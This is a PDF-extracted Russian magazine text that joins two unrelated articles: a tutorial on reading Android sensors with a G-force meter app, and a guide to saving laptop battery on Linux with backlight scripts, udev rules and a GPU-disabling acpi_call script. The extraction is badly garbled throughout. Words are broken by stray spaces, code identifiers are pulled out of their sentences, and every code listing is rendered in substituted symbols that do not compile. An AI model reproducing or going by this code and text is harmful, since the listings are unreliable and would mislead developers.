Что бы начать работать с дат чиком, нуж но опре делить его тип. Удоб нее все го
это  сде лать  с  помощью  клас са  ,  так  как  в  нем  уже  опре деле ны  все
типы сен соров в виде кон стант. Рас смот рим их под робнее:

Sensor

 —  тре хосе вой аксе леро метр,  воз вра‐ 
щающий уско рение по трем осям (в мет рах в секун ду в квад рате). Свя зан‐ 
ная сис тема коор динат пред став лена на рис. 1.

• Sensor.TYPE_ACCELEROMETER

 —  дат чик  осве щен ности,  воз вра щающий  зна чение
в  люк сах,  обыч но  исполь зует ся  для  динами чес кого  изме нения  яркости
экра на. Так же для удобс тва сте пень осве щен ности мож но получить в виде
харак терис тик —  «тем но»,  «облачно»,  «сол нечно»  (к  это му  мы  еще  вер‐ 
немся).

• Sensor.TYPE_LIGHT

  —  тер мометр,  воз вра щает
тем перату ру окру жающей сре ды в гра дусах Цель сия.

• Sensor.TYPE_AMBIENT_TEMPERATURE

  —  дат чик  приб лижен ности,  который  сиг‐ 
нализи рует  о  рас сто янии  меж ду  устрой ством  и  поль зовате лем  (в  сан‐ 
тимет рах). Ког да в момент раз говора гас нет экран — сра баты вает имен но
этот  дат чик.  На  некото рых  девай сах  воз вра щает ся  толь ко  два  зна чения:
«далеко» и «близ ко».

• Sensor.TYPE_PROXIMITY

  —  тре хосе вой  гирос коп,  воз вра щающий
ско рость вра щения устрой ства по трем осям (ради ан в секун ду).

• Sensor.TYPE_GYROSCOPE

  —  маг нитометр,  опре деля ющий
показа ния маг нитно го поля в мик ротес лах  (мкТл) по  трем осям  (име ется
в смар тфо нах с аппа рат ным ком пасом).

• Sensor.TYPE_MAGNETIC_FIELD

  —  дат чик  атмосфер ного  дав ления  (по‐прос‐ 
тому — барометр),  который воз вра щает  текущее атмосфер ное дав ление
в мил либарах (мбар). Если нем ного вспом нить физику, то, исполь зуя зна‐ 
чение это го дат чика, мож но лег ко вычис лить высоту (а еже ли вспо минать
ну  никак  не  хочет ся,  мож но  вос поль зовать ся  готовым  методом 

 из объ екта  ).

• Sensor.TYPE_PRESSURE

getAlti-

tude SensorManager

 — дат чик отно ситель ной влаж ности
в  про цен тах.  Кста ти,  сов мес тное  при мене ние  дат чиков  отно ситель ной
влаж ности и дав ления поз воля ет  пред ска зывать погоду —  конеч но,  если
вый ти на ули цу. ;)

• Sensor.TYPE_RELATIVE_HUMIDITY

  (с  API  19)  —  счет чик  шагов  с  момен та
вклю чения устрой ства (обну ляет ся толь ко пос ле перезаг рузки).

• Sensor.TYPE_STEP_COUNTER

  (с API  24) — детек тор дви жения  смар‐ 
тфо на. Если  устрой ство находит ся  в дви жении от  пяти до десяти секунд,
воз вра щает еди ницу  (по всей видимос ти, задел для аппа рат ной фун кции
«анти вор»).

• Sensor.TYPE_MOTION_DETECT

 (с API 24) — детек тор биения сер дца.• Sensor.TYPE_HEART_BEAT

  (с  API  20) —  дат чик,  воз вра щающий  пульс
(уда ров в минуту). Этот дат чик при меча телен тем, что тре бует явно го раз‐ 
решения   в манифес те.

• Sensor.TYPE_HEART_RATE

android.permission.BODY_SENSORS

Рис. 1. Сис тема коор динат дат чиков

Пе речис ленные  дат чики  явля ются    и  работа ют  незави симо
друг  от  дру га,  час то  без  вся кой  филь тра ции  или  нор мализа ции  зна чений.
«Для облегче ния жиз ни раз работ чиков»™ Google вве ла нес коль ко так называ‐ 
емых    сен соров,  которые  пре дос тавля ют  более  упро щен ные
и точ ные резуль таты.

ап парат ными

вир туаль ных

Нап ример,  дат чик    про пус кает  показа ния  аксе‐ 
леро мет ра через низ кочас тотный филь тр и воз вра щает текущие нап равле ние
и величи ну силы тяжес ти по трем осям, а 

 исполь зует уже высоко час тотный филь тр и получа ет показа тели уско‐ 
рения по трем осям (без уче та силы тяжес ти).

Sensor.TYPE_GRAVITY

Sensor.TYPE_LINEAR_ACCELER-

ATION

Ис черпы вающее  опи сание  всех  дат чиков  дос‐ 
тупно по  .ссыл ке

При раз работ ке при ложе ния,  экс плу ати рующе го показа ния сен соров,  вов се
не  обя затель но  бегать  по  ули це  или  пры гать  в  воду  с  высокой  ска лы,  так
как эму лятор, вхо дящий в пос тавку Android SDK, уме ет переда вать при ложе‐ 
нию любые отла доч ные зна чения (рис. 2–3).

Рис. 2. Кру тим и кида ем

Рис. 3. Наг рева ем и сдав лива ем

ИЩЕМ ДАТЧИКИ
Что бы узнать, какие сен соры есть в смар тфо не, сле дует исполь зовать метод

 объ екта  :getSensorList SensorManager

ListʳSensorʴ sensors ʰ sensor�anagerŜgetSensorListſSensorŜT�P�ɏALLƀŚ

По лучен ный спи сок будет вклю чать все под держи ваемые дат чики:  как аппа‐ 
рат ные, так и вир туаль ные (рис. 4). Более того, некото рые из них будут иметь
раз личные незави симые реали зации, отли чающиеся количес твом пот ребля‐ 
емой энер гии, задер жкой, рабочим диапа зоном и точ ностью.

Для  получе ния  спис ка  всех  дос тупных  дат чиков  кон крет ного  типа  необ‐ 
ходимо ука зать соот ветс тву ющую кон стан ту. Нап ример, код

ListʳSensorʴ pressureList ʰ sensor�anagerŜgetSensorListſSensorŜT�P�ɏP
R�SSUR�ƀŚ

вер нет все дос тупные баромет ричес кие дат чики. При чем аппа рат ные реали‐ 
зации ока жут ся в начале спис ка, а вир туаль ные — в кон це (пра вило дей ству ет
для всех типов дат чиков).

Рис. 4. Дат чики смар тфо на сред него ценово го диапа зона

Что бы  получить  реали зацию  дат чика  по  умол чанию  (такие  дат чики  хорошо
под ходят для стан дар тных задач и сба лан сирова ны в пла не энер гопот ребле‐ 
ния), исполь зует ся метод  :getDefaultSensor

Sensor de�PressureSensor ʰ sensor�anagerŜgetDe�aultSensorſSensorŜ
T�P�ɏPR�SSUR�ƀŚ

Ес ли  для  задан ного  типа  дат чика  сущес тву ет  аппа рат ная  реали зация,
по  умол чанию  будет  воз вра щена  имен но  она.  Ког да  нуж ного  вари анта  нет,
в  дело  всту пает  вир туаль ная  вер сия,  ну  а  если,  увы,  ничего  под ходяще го
в девай се не ока жет ся, getDefaultSensor вер нет   .null

О  том,  как  самолич но  выбирать  реали зацию  дат чиков  по  кри тери ям,
написа но во врез ке, мы же плав но дви гаем ся даль ше.

СНИМАЕМ ПОКАЗАНИЯ
Что бы  получать  события,  генери руемые  дат чиком,  необ ходимо  зарегис три‐ 
ровать  реали зацию  интерфей са    с  помощью  того  же

.  Зву чит  слож новато,  но  на  прак тике  реали зует ся  одной
строч кой:

SensorEventListener

SensorManager

Sensor de�PressureSensor ʰ sensor�anagerŜgetDe�aultSensorſSensorŜ
T�P�ɏPR�SSUR�ƀŚ
sensor�anagerŜregisterListenerſworkingSensor��entListenerř de�Pre
ssureSensorř Sensor�anagerŜS�NSORɏD�LA�ɏNOR�ALƀŚ

Здесь  мы  получен ный  ранее  барометр  по  умол чанию  регис три руем
с помощью метода  , переда вая в качес тве вто рого парамет‐ 
ра сен сор, а в качес тве треть его — час тоту обновле ния дан ных.

registerListener

В  клас се  SensorManager  опре деле ны  четыре  ста тичес кие  кон стан ты,
опре деля ющие час тоту обновле ния:

  —  мак сималь ная  час тота
обновле ния дан ных;

• SensorManager.SENSOR_DELAY_FASTEST

  —  час тота,  обыч но  исполь‐ 
зуемая в играх, под держи вающих гирос коп;

• SensorManager.SENSOR_DELAY_GAME

  —  час тота  обновле ния
по умол чанию;

• SensorManager.SENSOR_DELAY_NORMAL

  —  час тота,  под ходящая
для обновле ния поль зователь ско го интерфей са.

• SensorManager.SENSOR_DELAY_UI

Нуж но ска зать, что, ука зывая час тоту обновле ния, не сто ит ожи дать, что она
будет  стро го  соб людать ся.  Как  показы вает  прак тика,  дан ные  от  сен сора
могут при ходить как быс трее, так и мед леннее.

Ос тавший ся  нерас смот ренным  пер вый  параметр  пред став ляет  собой
реали зацию интерфей са  ,  где мы наконец‐то получим
кон крет ные циф ры:

SensorEventListener

pri�ate �inal Sensor��entListener workingSensor��entListener ʰ new 
Sensor��entListenerſƀ Ƈ
    public �oid onAccuracyChangedſSensor sensorř int accuracyƀ Ƈ
    ƈ
    public �oid onSensorChangedſSensor��ent e�entƀ Ƈ
        ŵŵ ǯȢȟȧȫȔșȠ ȔȦȠȢȥȨșȤȡȢș ȘȔȖȟșȡȜș Ȗ ȠȜȟȟȜȕȔȤȔȩ
        double pressure ʰ e�entŜ�aluesƃɥƄŚ
    ƈ
ƈŚ

В метод   переда ется объ ект  , опи сыва ющий
все  события,  свя зан ные  с  дат чиком:    —  ссыл ка  на  дат чик,

  —  точ ность  зна чения  дат чика  (см.  ниже),
 — вре мя воз никно вения события в наносе кун дах и, самое

глав ное,  мас сив  зна чений  .  Для  дат чика  дав ления  переда ется
толь ко один эле мент, тог да как, нап ример, для аксе леро мет ра пре дус мотре‐ 
но сра зу  три эле мен та для  каж дой из осей. В сле дующих раз делах мы рас‐ 
смот рим при меры работы с раз личны ми дат чиками.

onSensorChanged SensorEvent

event.sensor

event.accuracy

event.timestamp

event.values

Ме тод   поз воля ет отсле живать изме нение точ ности
переда ваемых  зна чений,  опре деля емой  одной  из  кон стант: 

  —  низ кая  точ ность, 
  —  сред няя  точ ность,

воз можна  калиб ровка, 
  —  высокая  точ ность, 
 — дан ные недос товер ны, нуж на калиб ровка.

onAccuracyChanged

SensorMan-

ager.SENSOR_STATUS_ACCURACY_LOW Sensor-

Manager.SENSOR_STATUS_ACCURACY_MEDIUM

SensorManager.SENSOR_STATUS_ACCUR-

ACY_HIGH SensorManager.SENSOR_STATUS_UN-

RELIABLE

Пос ле того как отпа дает необ ходимость работы с дат чиком, сле дует отме‐ 
нить регис тра цию:

sensor�anagerŜunregisterListenerſworkingSensor��entListenerƀŚ

МЕРЯЕМ ДАВЛЕНИЕ И ВЫСОТУ
Весь  код  для  работы  с  дат чиком  дав ления мы  уже  написа ли  в  пре дыду щем
раз деле,  получив  в  перемен ной  pressure  впол не  себе  зна чение  атмосфер‐ 
ного дав ления в мил либарах.

Как уже отме чалось, что бы вычис лить текущую высоту над уров нем моря,
мож но исполь зовать метод  :getAltitude

�loat altitude ʰ Sensor�anagerŜgetAltitudeſSensor�anagerŜPR�SSU
R�ɏSTANDARDɏAT�OSPH�R�ř pressureƀŚ

Од нако  здесь  мы  получим  при мер но  такое  же  зна чение,  какое  выда ет  моя
домаш няя мете останция при изме рении дав ления, — сфе ричес кое  (но не в
ваку уме),  не  учи тыва ющее  геог рафичес кую  высоту  мес тнос ти  над  уров нем
моря. Пос коль ку Android все‐таки умнее мете останции ;), про извести калиб‐ 
ровку мож но самос тоятель но.

Идея сос тоит в том, что бы вычис лять высоту не по кон крет ному зна чению
дав ления, а по раз ности дав лений в началь ной и конеч ной точ ках. Для это го
вый ти  на  ули цу  все‐таки  при дет ся  (заод но  можешь  рас ска зывать  встре‐ 
чающим ся девуш кам, что про водишь слож ный науч ный экспе римент).

Итак,  находясь  на  зем ле,  дела ем  пер вый  замер  дав ления  и  сох раня ем
в  перемен ную  initPressure.  Далее  под нима емся  на  кры шу  и  дела ем  сле‐ 
дующий замер — сох раня ем в pressure.

Ис комая высота (фак тичес ки раз ница высот) оче вид на:

�loat altitude ʰ Sensor�anagerŜgetAltitudeſSensor�anagerŜPR�SSU
R�ɏSTANDARDɏAT�OSPH�R�ř pressureƀ ‐ Sensor�anagerŜgetAltitudeſSensor
�anagerŜPR�SSUR�ɏSTANDARDɏAT�OSPH�R�ř initPressureƀŚ

ИЗМЕРЯЕМ ОСВЕЩЕННОСТЬ
Дат чик осве щен ности инте ресен тем, что, помимо зна чения в люк сах, может
дать качес твен ную харак терис тику окру жающей сре ды. Получен ное и единс‐ 
твен ное зна чение мож но про ана лизи ровать сле дующим обра зом:

pri�ate �loat currentLight ʰ FloatŜNaNŚ
ŜŜŜŜ
public �oid onSensorChangedſSensor��ent e�entƀ Ƈ
  currentLight ʰ e�entŜ�aluesƃɥƄŚ
ƈ
ŜŜŜ
i� ſŠFloatŜisNaNſcurrentLightƀƀ Ƈ
      String lightStr ʰ ɑǱȢȟȡșȫȡȢɑŚ
      i� ſcurrentLight ʳʰ Sensor�anagerŜLIGHTɏCLOUD�ƀ lightStr ʰ 
ɑǭȢȫȰɑŚ
      else i� ſcurrentLight ʳʰ Sensor�anagerŜLIGHTɏO��RCASTƀ lightStr
 ʰ ɑǯȔȥȠȧȤȡȔȳ ȣȢȗȢȘȔɑŚ
      else i� ſcurrentLight ʳʰ Sensor�anagerŜLIGHTɏSUNLIGHTƀ lightStr
 ʰ ɑǬȔȟȢȢȕȟȔȫȡȢɑŚ

Как видишь, гра даций не так уж и мно го, но для нужд немете оро лога впол не
сго дит ся.

ПРИЛОЖЕНИЕ ДЛЯ ИЗМЕРЕНИЯ ПЕРЕГРУЗКИ
На  десерт  рас смот рим  закон ченное  при ложе ние,  исполь зующее  аксе леро‐ 
метр  для  изме рения  перег рузки.  Активность  прог раммы  пред став лена
на  рис.  5.  В  качес тве  инди като ра  возь мем  замеча тель ный  ани миро ван ный
ком понент SpeedView, дос тупный на  .GitHub

Рис. 5. Интерфейс аксе леро мет ра

Ус корение — это  величи на  изме нения  ско рос ти. Сле дова тель но,  аксе леро‐ 
метр  опре деля ет,  нас коль ко  быс тро  изме няет ся  ско рость  устрой ства  вдоль
коор динат ных  осей.  Что бы  изме рить  перег рузку  отно ситель но  покоя,  дос‐ 
таточ но про сум мировать уско рение по всем трем нап равле ниям и отбро сить
силу тяжес ти, а точ нее уско рение сво бод ного падения.

Как  всег да,  пол ный  исходник  при ложе ния  дос‐ 
тупен по  .ссыл ке

В методе   активнос ти ини циируем объ ект   и аксе‐ 
леро метр по умол чанию ( ):

onCreate SensorManager

Sensor.TYPE_ACCELEROMETER

ɒO�erride
protected �oid onCreateſBundle sa�edInstanceStateƀ Ƈ
    superŜonCreateſsa�edInstanceStateƀŚ
    setContent�iewſRŜlayoutŜacti�ityɏmainƀŚ
    speed�iew ʰ ſSpeed�iewƀ �ind�iewByIdſRŜidŜspeed�iewƀŚ
    sensor�anager ʰ ſSensor�anagerƀgetSystemSer�iceſContextŜS�NSOR
ɏS�R�IC�ƀŚ
    accelerometer ʰ sensor�anagerŜgetDe�aultSensorſSensorŜT�P�ɏA
CC�L�RO��T�RƀŚ
ƈ

Ре гис три ровать  объ ект    будем  в  событии 
активнос ти:

SensorEventListener onResume

ɒO�erride
protected �oid onResumeſƀ Ƈ
    superŜonResumeſƀŚ
    sensor�anagerŜregisterListenerſsensor��entListenerř accelerometer
ř Sensor�anagerŜS�NSORɏD�LA�ɏFAST�STƀŚ
ƈ

а уда лять — в  :onPause

ɒO�erride
protected �oid onPauseſƀ Ƈ
    sensor�anagerŜunregisterListenerſsensor��entListenerƀŚ
    superŜonPauseſƀŚ
ƈ

Так мы добь емся того, что дат чики будут исполь зовать ся толь ко тог да, ког да
активность  вид на  на  экра не.  Так  как  перег рузки  могут  носить  весь ма  крат‐ 
ковре мен ный  харак тер,  уста новим  мак сималь ную  час тоту  обновле ния  зна‐ 
чений  аксе леро мет ра  —  параметр 

.
SensorManager.SENSOR_DELAY_-

FASTEST

Код нашего интерфей са пред став лен ниже:

pri�ate �inal Sensor��entListener sensor��entListener ʰ new Sensor
��entListenerſƀ Ƈ
    pri�ate �loat acceleration ʰ ɥŚ
    pri�ate �inal double calibration ʰ Sensor�anagerŜSTANDARDɏGRA�IT�
Ś
    public �oid onAccuracyChangedſSensor sensorř int accuracyƀ Ƈ
    ƈ
    public �oid onSensorChangedſSensor��ent e�entƀ Ƈ
        double x ʰ e�entŜ�aluesƃɥƄŚ
        double y ʰ e�entŜ�aluesƃɨƄŚ
        double � ʰ e�entŜ�aluesƃ2ƄŚ
        double a ʰ �athŜsqrtſ�athŜpowſxř 2ƀ ʫ �athŜpowſyř 2ƀ ʫ �athŜ
powſ�ř 2ƀƀŚ
        acceleration ʰ �athŜabsſſ�loatƀſa‐calibrationƀƀŚ
    ƈ
ƈŚ

Из менение  точ ности  показа ний  дат чика  нас  не  силь но  вол нует,  поэто му
метод   оставля ем пус тым.onAccuracyChanged

В  методе    сна чала  счи тыва ем  уско рения  по  трем
коор динат ным  осям,  затем  сум миру ем  (опре деля ем  модуль  век тора).
Из получен ной величи ны вычита ем уско рение, выз ванное силой зем ного при‐ 
тяже ния.  Пос леднее,  кста ти,  опре деле но  в    как 

 (в клас се име ются кон стан ты для Луны, Плу тона и всех пла нет
Сол нечной сис темы).

onSensorChanged

SensorManager STAND-

ARD_GRAVITY

По лучен ную в перемен ной acceleration перег рузку нуж но как‐то передать
объ екту SpeedView. Так  как мы пред полага ем пос тоян ное получе ние дан ных
(сот ни раз в секун ду), для обновле ния инди като ра будем исполь зовать  тай‐ 
мер  (класс  ).  Ини циали зиро вать  и  запус кать  мож но  в  том  же  методе

:
Timer

onCreate

Timer updateTimer ʰ new TimerſɑupdateTimerɑƀŚ
updateTimerŜscheduleAtFixedRateſnew TimerTaskſƀ Ƈ
    public �oid runſƀ Ƈ
        updateGUIſƀŚ
    ƈ
ƈř ɥř ɨɥɥƀŚ

Мы  запус каем  тай мер  с  интерва лом  в  100  мс,  что бы  обновлять  интерфейс
при ложе ния, «дер гая» метод  . Что бы гаран тировать работу с эле‐ 
мен тами GUI  в  глав ном потоке  при ложе ния,  исполь зуем метод 

:

updateGUI

runOnUiTh-

read

pri�ate �oid updateGUIſƀ Ƈ
    runOnUiThreadſnew Runnableſƀ Ƈ
        public �oid runſƀ Ƈ
            speed�iewŜspeedToſacceleration ŵ Sensor�anagerŜSTANDA
RDɏGRA�IT�ƀŚ
        ƈ
    ƈƀŚ
ƈ

Вот и  все — при ложе ние  готово, мож но  записы вать ся  в  отряд  кос монав тов
для  всес торон него  тес тирова ния.  Наибо лее  точ ные  резуль таты  получа ются
при горизон таль ном рас положе нии смар тфо на экра ном вверх.

Из‑за  осо бен ностей  работы  аксе леро метр  слу жит  так же  дат чиком
силы при тяже ния, поэто му если в коде все же задей ство вать гра вита- 
цию,  то  есть  не  вычитать  перемен ную  calibration,  мож но  получить
величи ну  уско рения  сво бод ного  падения  на  той  пла нете,  на  которой

ты  сей час  находишь ся. Для Зем ли  это  9,81 м/с   (или  1g),  для Мар- 

са — 3,86 м/с  (0,394g), для Луны — 1,62 м/с  (0,165g).

2

2 2

Так  как  дан ный  при мер  работа ет  на  устрой ствах,  име ющих  аксе леро метр,
в манифест при ложе ния мож но занес ти соот ветс тву ющее тре бова ние:

ʳuses‐�eature androidśnameʰɑandroidŜhardwareŜsensorŜaccelerometerɑ ŵʴ

ВЫВОДЫ
Се год ня  мы  поз накоми лись  с  неотъ емле мыми  эле мен тами  любого  сов‐ 
ремен ного смар тфо на — дат чиками. Кро хот ные мик росхе мы силь но облегча‐ 
ют зем ную жизнь вла дель ца телефо на, но, про явив изрядную долю фан тазии,
из  Android’а  мож но  сде лать  неп лохого  помощ ника  и  в  иссле дова нии  иных
пла нет. Инте рес но,  какая сила при тяже ния на пла нето иде LV‐426 в сис теме
Дзе та Сет ки?

Ес ли по каким‐либо при чинам дат чик по умол чанию не под ходит (нап ример,
он  не  под дает ся  калиб ровке),  мож но  выб рать  дру гую  реали зацию.  Кста ти,
если  вни матель но  прис мотреть ся  к  спис ку  дат чиков  на  рис.  4,  мож но
заметить сра зу нес коль ко аксе леро мет ров, гирос копов и маг нитомет ров.

Сле дующая  заготов ка  показы вает,  как  выб рать  дат чик  маг нитно го  поля
с мак сималь ным рабочим диапа зоном и низ ким пот ребле нием энер гии:

ListʳSensorʴ magneticList ʰ sensor�anagerŜgetSensorListſSensorŜ
T�P�ɏ�AGN�TICɏFI�LDƀŚ
Sensor magneticSensor ʰ Sensor�anagerŜgetDe�aultSensorſSensorŜT�P�ɏ�
AGN�TICɏFI�LDƀŚ
i� ſmagneticSensor Šʰ nullƀ
�or ſSensor sensor ś magneticListƀ Ƈ
    �loat p ʰ sensorŜgetPowerſƀŚ
    �loat r ʰ sensorŜget�aximumRangeſƀŚ
    i� ſp ʳʰ magneticSensorŜgetPowerſƀ ĺĺ r ʴ magneticSensorŜget�ax
imumRangeſƀƀ
        magneticSensor ʰ sensorŚ
ƈ

Не забывай про верять наличие дат чиков перед исполь зовани ем, ина че при‐ 
ложе ние упа дет.

mailto:mail@s-melnikov.net
http://developer.android.com/reference/android/hardware/SensorEvent.html
https://github.com/anastr/SpeedView
http://s-melnikov.net/files/%5D%5B-GForce.rar
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Приз най ся,  сколь ко  раз  ты  хотел  плю нуть
в  лицо  тому  мар кетоло гу,  который  при‐ 
думы вает  эти  нере аль ные  циф ры
в  десять‐две над цать  часов  авто ном ной
работы  ноут бука?  Шесть‐семь  —  это  уже
бли же  к  исти не,  да  и  то  толь ко  если  ОС
пра виль но нас тро ена. А вот как ее пра виль‐ 
но  нас тро ить  —  это  уже  дей стви тель но
инте рес ный воп рос. Ведь все далеко не так
однознач но, как счи тают раз работ чики дис‐ 
три бути вов.

Итак, име ем работа ющий от акку муля тора ноут бук с Линук сом на бор ту. Мы
исполь зуем его  наибо лее  три виаль ным обра зом:  слу шаем музыку,  смот рим
кинош ку, вре мя от вре мени пописы ваем статьи в свой блог и сер фим в ине те.
За  бор том  оставля ем  редак тирова ние  видео  и  высокоп роиз водитель ные
игры. Для подоб ных затей без сети 220 В вряд ли удас тся обой тись. Хотим,
что бы вре мя авто ном ной работы было мак сималь ным.

ЯРКОСТЬ ЭКРАНА
Нач нем с под свет ки. В боль шинс тве ноут буков горячие кла виши управле ния
яркостью  посыла ют  сиг нал  нап рямую  кон трол леру  ACPI,  поэто му  работа ют
оди нако во  хорошо в  любых опе раци онках  и  даже  в  нас трой ках BIOS.  Так же
яркость экра на мож но кон тро лиро вать с помощью xbacklight. Пос ле уста нов‐ 
ки дос таточ но выпол нить коман ду

ɛ xbacklight ‐set ɬɥ

и уро вень яркости сос тавит 50%.
Что бы не мучить ся с руч ной регули ров кой, мож но нас тро ить авто мати чес‐ 

кую  регули ров ку  яркости  при  под клю чении  заряд ника  к  ноут буку  и  при  его
отклю чении. Для это го нам понадо бит ся прос тень кий скрипт:

ɤŠŵbinŵsh
echo ɛɨ ʴ ŵsysŵclassŵbacklightŵintelɏbacklightŵbrightness

Сох рани его в файл   и дай пра ва на исполне ние:ŵetcŵbacklightŜsh

ɛ chmod ʫx ŵetcŵbacklightŜsh

Так же необ ходимо написать пра вило для сис темы управле ния обо рудо вани‐ 
ем  udev,  которое  будет  запус кать  наш  скрипт.  Соз дай  файл 

:
ŵetcŵude�ŵ

rulesŜdŵbacklightŜrules

SUBS�ST��ʰʰɑpowerɏsupplyɑř �N�ƇPO��RɏSUPPL�ɏONLIN�ƈʰʰɑɨɑř RUNʫʰɑŵetcŵ
backlightŜsh 32ɬ3ɑ
SUBS�ST��ʰʰɑpowerɏsupplyɑř �N�ƇPO��RɏSUPPL�ɏONLIN�ƈʰʰɑɥɑř RUNʫʰɑŵetcŵ
backlightŜsh 232ɫɑ

Да лее перезаг рузи пра вила udev:

ɛ sudo ude�adm control ‐R

Те перь  при  под клю чении  к  заряд нику  яркость  будет  выс тавлять ся  в  зна‐ 
чение  3253  (это  70%  от  мак сималь ной  4648),  а  при  отклю чении  сни жать ся
до  50%  (2324). Обра ти  вни мание,  что  скрипт  работа ет  толь ко  с  драй вером
Intel, для дру гих адап теров путь в катало ге   и зна чения будут дру гими.ŵsys

Скрипт  хорош  так же  и  тем,  что  реша ет  зна комую  мно гим  линук соидам
проб лему  сбро са  яркости  до  мак сималь ной  при  под клю чении/отклю чении
кабеля питания.

ВИДЕОКАРТА
Счи тает ся,  что  не  менее  80%  информа ции  человек  получа ет  через  зре ние.
Неуди витель но,  что  немалая  доля  энер гии  батареи  ноут бука  тра тит ся
на генери рова ние изоб ражения на экра не.

Ис поль зование  лег ких  рабочих  окру жений,  пот ребля ющих  минимум
ресур сов ноут бука, положи тель но ска зыва ется на эко номии заряда батареи.
В  прин ципе,  мож но  работать  и  из  коман дной  стро ки,  но  в  XXI  веке  таких
любите лей най дет ся нем ного.

По это му  иног да  дос таточ но  будет  отклю чить  гра фичес кие  эффекты
рабоче го  сто ла,  а  выс вободив шиеся  ресур сы  исполь зовать  в  при ложе ниях,
под держи вающих  аппа рат ное  уско рение  декоди рова ния  видео,  что бы  раз‐ 
гру зить  про цес сор.  Заод но  не  лиш ним  будет  изба вить ся  от  раз личных
фоновых про цес сов типа индекса ции фай лов.

Ап парат ное  уско рение  поз воля ет  перенес ти  выпол нение  задачи
по  декоди рова нию  видео  с  про цес сора  на  виде окар ту.  VLC,  MPV,  MPlayer
и осно ван ные на них виде опро игры вате ли, а так же бра узе ры Chromium, Fire‐
fox, Opera уме ют это делать, тем самым сни жая энер гопот ребле ние.

Нас трой ка аппа рат ного уско рения в про игры вате ле VLC

Про верить,  вклю чено  ли  аппа рат ное  уско рение  в  Chrome,  мож но,  вве дя
в адресную стро ку chrome://gpu. В моем слу чае резуль тат выг лядел так:

Ста тус под дер жки аппа рат ного уско рения пос ле инстал ляции Chrome

Как видим, задей ство ваны не все ком понен ты аппа рат ного уско рения. Ниже
на  этой  же  стра нице  при веден  спи сок  обна ружен ных  проб лем.  Для  их
решения  необ ходимо  перей ти  по  адре су  chrome://flags  и  изме нить  сле‐ 
дующие нас трой ки:
1. Вклю чить пере опре деле ние спис ка прог рам мно го рен дерин га.
2. Вклю чить аппа рат ную рас териза цию.
3. Ус тановить чис ло потоков рас тро вого изоб ражения в зна чение 4.

Эти  нас трой ки  отно сят ся  к  катего рии  экспе римен таль ных  и  по  умол чанию
вык лючены раз работ чиками, пос коль ку те не могут оце нить качес тво целевых
GPU‐драй веров при боль шом раз нооб разии дис три бути вов Linux.

За тем  сле дует  запус тить  Chrome  с  фла гом  ‐‐enable‐native‐gpu‐memory‐
buffers.  Поль зовате ли  KDE  могут  дописать  этот  флаг  в  коман ду  запус ка
Chrome, отре дак тировав ярлык при ложе ния с помощью kmenuedit.

Ста тус под дер жки аппа рат ного уско рения пос ле нас трой ки Chrome

ГИБРИДНАЯ ГРАФИКА
Счас тли вые обла дате ли гиб ридной гра фики стал кива ются еще с одной проб‐ 
лемой эко номии энер гии. Гиб ридная гра фика под разуме вает наличие в ноут‐ 
буке  двух  виде окарт  —  интегри рован ной  и  дис крет ной.  Пос ледняя —  пол‐ 
ноцен ный  виде оадап тер,  поэто му  весь ма  про жор лива.  Решение  проб лемы
оче вид но. Работая от батареи,  целесо образно  вык лючить дис крет ную  кар ту
и пол ностью положить ся на интегри рован ное решение.

Преж де чем отклю чать дис крет ную гра фику, необ ходимо уста новить пакет
acpi_call и заг рузить соот ветс тву ющий модуль ядра:

ɤ modprobe acpiɏcall

Пос ле  заг рузки  модуля  сле дует  запус тить  от  име ни  адми нис тра тора  сце‐ 
нарий  сле дующе го  содер жания  (в  Arch  Linux  он  уже  при сутс тву ет  в 

):
ŵusrŵ

shareŵacpiɏcallŵexamplesŵturnɏo��ɏgpuŜsh

ɤŠŵbinŵbash
i� lsmod Ŷ grep ‐q acpiɏcallŚ then
methodsʰɑ
ɏSBŜPCIɥŜPɥPɨŜ�GAŜɏOFF
ɏSBŜPCIɥŜPɥP2Ŝ�GAŜɏOFF
ɏSBɏŜPCIɥŜO�GAŜATP�
ɏSBɏŜPCIɥŜO�GAŜ�TP�
ɏSBŜPCIɥŜPɥP3ŜP�GPŜɏOFF
ɏSBŜPCIɥŜPɥP2ŜP�GPŜɏOFF
ɏSBŜPCIɥŜPɥPɨŜP�GPŜɏOFF
ɏSBŜPCIɥŜ��RɥŜ���ɥŜɏOFF
ɏSBŜPCIɥŜP�GɨŜGF�ɥŜɏOFF
ɏSBŜPCIɥŜP�GɥŜGF�ɥŜDOFF
ɏSBŜPCIɥŜP�GɨŜGF�ɥŜDOFF
ɏSBŜPCIɥŜP�GɥŜP�GPŜɏOFF
ɏSBŜPCIɥŜ��RɥŜ�ɥɨIŜDGOF
ɏSBŜPCIɥŜP�GRŜGF�ɥŜɏOFF
ɏSBŜPCIɥŜP�GŜ�IDŜɏOFF
ɏSBŜPCIɥŜP�GɥŜ�IDŜɏOFF
ɏSBŜPCIɥŜPɥP2ŜDGPUŜɏOFF
ɏSBŜPCIɥŜPɥPɫŜDGPUŜDOFF
ɏSBŜPCIɥŜI���ŜIGPUŜDGOF
ɏSBŜPCIɥŜRPɥɥŜ�GAŜɏPS3
ɏSBŜPCIɥŜRPɥɥŜ�GAŜP3�O
ɏSBŜPCIɥŜGF�ɥŜDS�ŜɏTɏɥ
ɏSBŜPCIɥŜLPCŜ�CŜPUBSŜɏOFF
ɏSBŜPCIɥŜPɥP2ŜN�IDŜɏOFF
ɏSBŜPCIɥŜPɥP2Ŝ�GAŜP�ɥ2
ɏSBɏŜPCIɥŜP�GPŜDGF�ŜɏOFF
ɏSBɏŜPCIɥŜ�GAŜP�ɥ2
ɏSBŜPCIɥŜP�GɥŜP�GPŜSGOF
ɏSBŜPCIɥŜAGPŜ�GAŜP�ɥ2
ɑ
�or m in ɛmethodsŚ do
    echo ‐n ɑTrying ɛmś ɑ
    echo ɛm ʴ ŵprocŵacpiŵcall
    resultʰɛſcat ŵprocŵacpiŵcallƀ
    case ɑɛresultɑ in
        �rrorƋƀ
            echo ɑ�ailedɑ
        ŚŚ
        Ƌƀ
            echo ɑworksŠɑ
            ɤ break ɤ try out outher methods too
        ŚŚ
    esac
done
else
    echo ɑThe acpiɏcall module is not loadedř try running ɐmodprobe 
acpiɏcallɐ or ɐinsmod acpiɏcallŜkoɐ as rootɑ
    exit ɨ
�i

В резуль тате дол жно появить ся неч то подоб ное:

ŜŜŜ
Trying ɏSBŜPCIɥŜP�GɨŜGF�ɥŜɏOFFś �ailed
Trying ɏSBŜPCIɥŜP�GɥŜGF�ɥŜDOFFś �ailed
Trying ɏSBŜPCIɥŜP�GɨŜGF�ɥŜDOFFś �ailed
